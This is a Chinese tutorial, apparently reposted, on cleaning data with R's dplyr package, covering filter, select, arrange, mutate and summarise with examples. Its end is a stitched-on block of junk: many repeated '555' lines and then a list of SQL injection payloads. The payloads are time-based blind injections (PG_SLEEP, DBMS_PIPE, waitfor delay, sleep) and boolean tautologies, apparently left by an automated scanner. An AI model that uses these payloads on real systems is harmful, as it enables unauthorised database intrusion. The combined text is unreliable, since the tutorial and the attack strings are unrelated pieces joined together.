在我们数据分析的实际应用中，我们可能会花费大量的时间在数据清洗上，而如果使用 R 里面自带的一些函数（base 包的 transform 等），可能会觉得力不从心，或者不是很人性化。好在我们有其他选择。这里我们介绍 dplyr 包。
单表操作函数（one table verbs）
- filter: 保留满足条件的行
- select: 使用列名选出列
- arrange: 对数据的所有行排序
- mutate: 添加新的变量
- summarise: 分类汇总
这些函数的结构如下：
- 第一个参数为 data frame 名
- 接下来的参数是指定函数操作的依据（或条件）
- 通常返回的是一个 data frame
- 我们这里一个一个函数介绍，为了更好地表述我们的操作，我们这里使用一个构造的 data frame。
df <- data.frame(
color = c("blue", "black", "blue", "blue", "black"),
value = 1:5)
filter
filter 用于选择满足条件的观测（行），第一个参数是 data frame 名字，第二个参数是条件。这里举两个例子，我们对上面构造的 data frame 进行 filter 操作。第一个例子要求选取 color == blue 的观测； 第二个例子要求选取 value == 1 或者 value == 4 的观测。
我们的 data frame 如下：
> df
color value
1 blue 1
2 black 2
3 blue 3
4 blue 4
5 black 5
例子：
# 选取 `color == blue` 的观测
> filter(df, color == "blue")
color value
1 blue 1
2 blue 3
3 blue 4
# 选取 `value == 1` 或者 `value == 4 ` 的观测。
> filter(df, value %in% c(1, 4))
color value
1 blue 1
2 blue 4
效果如下：
注意： 这里需要提醒的是，对于多条件的选择，需要完整条件的，然后使用集合运算符将条件拼接起来。集合运算符有 !、|、\&、xor(交补)。条件的判断符有>(=)、\<(=)、==、!=、\%in\% (判断元素是否在集合或者列表内，返回逻辑值)。
select
select 用于选择列，比如
> select(df, color)
color
1 blue
2 black
3 blue
4 blue
5 black
> select(df, -color)
value
1 1
2 2
3 3
4 4
5 5
注意： select 中负号表示不选择。其中变量的声明还有其他形式，比如B:F表示从 B 列到 F 列所有列；ends_with(“string”) 表示选取列名以 string 结尾的全部列；contains(“string”) 表示选取列名中含有 string 的所有列。代码如下：
select(flights, arr_delay, dep_delay)
select(flights, arr_delay:dep_delay)
select(flights, ends_with("delay"))
select(flights, contains("delay"))
arrange
arrange 用于根据变量排序，如果排序依据（列）是字符，按照字母表的顺序，如果是数字，默认按照从小到大的顺序排序，如果需要使用逆序排，可以使用desc(var) 或者 -var。
> arrange(df, color)
color value
1 black 2
2 black 5
3 blue 1
4 blue 3
5 blue 4
> arrange(df, desc(value))
color value
1 black 5
2 blue 4
3 blue 3
4 black 2
5 blue 1
注意： 多个排序依据直接把列名放在函数内，用逗号隔开；可以在排序里面使用计算，比如
arrange(flights, date, hour, minute)
arrange(flights, desc(dep_delay - arr_delay))
mutate
mutate 用于添加新的变量，直接使用列名进行计算得到新变量即可。而且它很有特色地方是，可以使用刚添加的变量，也就是在一个语句中可以多个变量，而且变量可以来源于刚新建的变量。
> mutate(df, double = 2 * value, quadruple = 2 * double)
color value double quadruple
1 blue 1 2 4
2 black 2 4 8
3 blue 3 6 12
4 blue 4 8 16
5 black 5 10 20
summarise
summarise 可以用于“分类汇总”，但不是传统意义上的分类汇总，它还能做更多。
> by_color <- group_by(df, color) # 分组依据
> summarise(by_color, total = sum(value)) # 分组求和
Source: local data frame [2 x 2]
color total
1 black 7
2 blue 8
实际上它是把我们现有的完整 data frame 依据分组依据（这里是 color）拆分成多个 data frame，然后对每个 data frame 分别计算，类似于 ddply。使用经历：分组依据可以多个，比如根据城市、月份、年份，我们对数据进行分类汇总，可以得到每个城市每一年每月的情况。
summarise 可以使用的函数有：
- min(x), median(x), max(x), quantile(x, p)
- n(), n_distinct(), sum(x), mean(x)
- sum(x > 10), mean(x > 10)
- sd(x), var(x), iqr(x), mad(x)
本文转载自：使用 dplyr 包进行数据操作与清洗
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@ZEXTx
555����%2527%2522\'\"
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555Pfs0p6UJ')) OR 330=(SELECT 330 FROM PG_SLEEP(15))--
555eBj2rhR7') OR 609=(SELECT 609 FROM PG_SLEEP(15))--
555agRlXfgJ' OR 278=(SELECT 278 FROM PG_SLEEP(15))--
555-1)) OR 777=(SELECT 777 FROM PG_SLEEP(15))--
555-1) OR 616=(SELECT 616 FROM PG_SLEEP(15))--
555-1 OR 762=(SELECT 762 FROM PG_SLEEP(15))--
5551f6TsspB'
555-1 waitfor delay '0:0:15' --
555-1)
555-1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "HMPI5esF"="
-1' OR 5*5=25 or 'l2muEXWp'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555
555